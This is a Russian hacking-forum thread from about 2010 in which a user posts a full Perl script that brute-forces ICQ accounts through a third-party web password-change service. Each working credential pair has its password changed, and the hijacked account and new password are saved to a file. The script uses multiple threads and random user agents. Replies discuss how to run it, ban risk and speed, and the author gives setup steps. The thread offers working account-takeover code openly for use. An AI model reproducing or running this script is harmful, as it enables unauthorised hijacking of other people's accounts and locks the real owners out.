HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Skype, IRC, ICQ, Jabber и другие IM
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

ICQ Brute by BluR . [Perl]
  #1  
Старый 31.12.2009, 22:21
BluR
Познающий
Регистрация: 06.08.2009
Сообщений: 56
С нами: 8823864

Репутация: 29
По умолчанию ICQ Brute by BluR . [Perl]

Вот написал брут . Работает через WEB. Прокси не нужны . Пропускает гуду . Писал просто чтобы что то написать ... т.к только начал учить перл ... так что не судите ...
кому надо используйте...

Код:
#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock';  ############################################################################## my $threads = 5;                  # Кол-во потоков                           # ############################################################################## my $source_file = 'source.txt';   # Список для брута                         # ############################################################################## my $source_delm = ';';            # Разделитель списка аккаунтов             # ############################################################################## my $delay = 0;                    # Задержка                                 # ##############################################################################   $| = 1; system('title ICQ Brute by BluR v 0.001 ^ Happy New Year. ^2010^');  my @source : shared = lf($source_file); my $goodn : shared = 0; my $badn : shared = 0; my $err : shared = 0; my $newpass=''; my $ch1 = chr(205);  my $ch2 = chr(201); my $ch3 = chr(187);   my $ch6 = chr(186);  my $ch7 = chr(219); my $ch8 = chr(200);  my $ch9 = chr(188);        print "$ch2$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch3";      print "$ch6$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7 ICQ Brute by BluR.$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch6";      print "$ch8$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch9";       cout(" \nStarting... \n");   threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main {  while(@source)     {            my $ua = LWP::UserAgent->new(timeout => 33,                                      cookie_jar => new HTTP::Cookies,                                      agent => agent());          my ($uin, $pass) = split $source_delm => shift @source;                 GET:          my $answ = $ua->get('http://ruwap.org/service/ChangePassword/index.php')->as_string;         if($answ =~ m,HTTP,i)        {           $answ =~  s/\s*.*action="//igxsm;         $answ =~ s/"\s*.*\s*//igxsm;          $newpass= join('', map(('a'..'z', 'A'..'Z', '0'..'9')[rand(63)], (1..8)));  	my $req = $ua->post("http://ruwap.org/service/ChangePassword/index.php$answ",                             ['uin' => $uin,                              'password' => $pass,                              'NewPassword' => $newpass,                              'ReNewPassword' => $newpass,])->as_string;         if( $req =~ m,$uin,igxsm)         {              {                 lock $goodn;                 ++$goodn              }  	cout("  Good - $uin:$pass                                       \n"); 	cout("  Password changed - $uin:$newpass                        \n"); 	wf('good.txt', "$uin;$newpass\n");         } 	 else 	{              {                 lock $badn;                 ++$badn              }  	cout("  Bad - $uin:$pass                                     \n");         wf('bad.txt', "$uin;$newpass\n"); 	 }         }                 else         {             {                 lock $err;                 ++$err             }             cout("  Error!!!, trying again...                            \n");             goto GET         }         sleep $delay     }  }  sub agent {     my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0];     return $agents[rand scalar @agents]; } sub cout {     print $_[0];     print " Good: $goodn $ch6 Bad: $badn $ch6 Threads: $threads $ch6 Error: $err\r";       }    sub lf {     open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";     chomp(my @data = <$dat>);     close $dat;     return @data; } sub wf {     open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";     flock $dat, LOCK_EX;     print $dat $_[1];     flock $dat, LOCK_UN;     close $dat; }
Залил :
http://slil.ru/28428393


P.s : спасибо Гаусу за его скрипты ... подглядывал когда писал ...


С Наступающим Античат ...
 
Ответить с цитированием

  #2  
Старый 01.01.2010, 02:55
BluR
Познающий
Регистрация: 06.08.2009
Сообщений: 56
С нами: 8823864

Репутация: 29
По умолчанию

если у кого есть предложения по доработке ... пишите ... а то сейчас %30 гудов пропускает ... и понять почему не смог ... пробовал через прокси ... тоже самое ...
 
Ответить с цитированием

  #3  
Старый 01.01.2010, 20:22
.Life
Banned
Регистрация: 26.12.2009
Сообщений: 152
С нами: 8618486

Репутация: 0
По умолчанию

у меня что-то неработает...
Помогите разобратся.
Автор зделай инфу как пользоватся
 
Ответить с цитированием

  #4  
Старый 01.01.2010, 20:54
shuba
Постоянный
Регистрация: 22.05.2009
Сообщений: 514
С нами: 8932646

Репутация: 133


По умолчанию

Скачай интерпритатор perl
 
Ответить с цитированием

  #5  
Старый 02.01.2010, 16:31
BluR
Познающий
Регистрация: 06.08.2009
Сообщений: 56
С нами: 8823864

Репутация: 29
По умолчанию

1. Качаешь http://downloads.activestate.com/Act...x86-291086.msi

2. Создаешь файл source.txt и запускаешь скрипт
 
Ответить с цитированием

  #6  
Старый 03.01.2010, 01:55
In.Exploit
Banned
Регистрация: 03.12.2009
Сообщений: 173
С нами: 8652576

Репутация: 47
По умолчанию

Банится?

какая скорость?
 
Ответить с цитированием

  #7  
Старый 03.01.2010, 02:47
BluR
Познающий
Регистрация: 06.08.2009
Сообщений: 56
С нами: 8823864

Репутация: 29
По умолчанию

бана как такового нет ... но гуды пропускает ... скорость зависит от канала ... может быть очень даже приличной ... Но не забывайте ... этот брут был экспериментом для практики ...
 
Ответить с цитированием

  #8  
Старый 03.01.2010, 02:52
.Life
Banned
Регистрация: 26.12.2009
Сообщений: 152
С нами: 8618486

Репутация: 0
По умолчанию

поставил хорошый брут, скорость радует...
 
Ответить с цитированием

  #9  
Старый 03.01.2010, 03:47
BluR
Познающий
Регистрация: 06.08.2009
Сообщений: 56
С нами: 8823864

Репутация: 29
По умолчанию

советую поставить задержку = 5

my $delay = 5;
 
Ответить с цитированием

  #10  
Старый 03.01.2010, 11:20
Cooler123
Участник форума
Регистрация: 25.12.2008
Сообщений: 133
С нами: 9145397

Репутация: 8
По умолчанию

перезалейте скрипт плз
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Brute admin password [perl] Звeрь PHP 7 02.02.2009 13:01
ICQMAILC.COM - новый баг icq! Kernet Skype, IRC, ICQ, Jabber и другие IM 11 30.01.2009 01:48
PHP ICQ Brute Trinux Skype, IRC, ICQ, Jabber и другие IM 15 09.02.2005 19:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.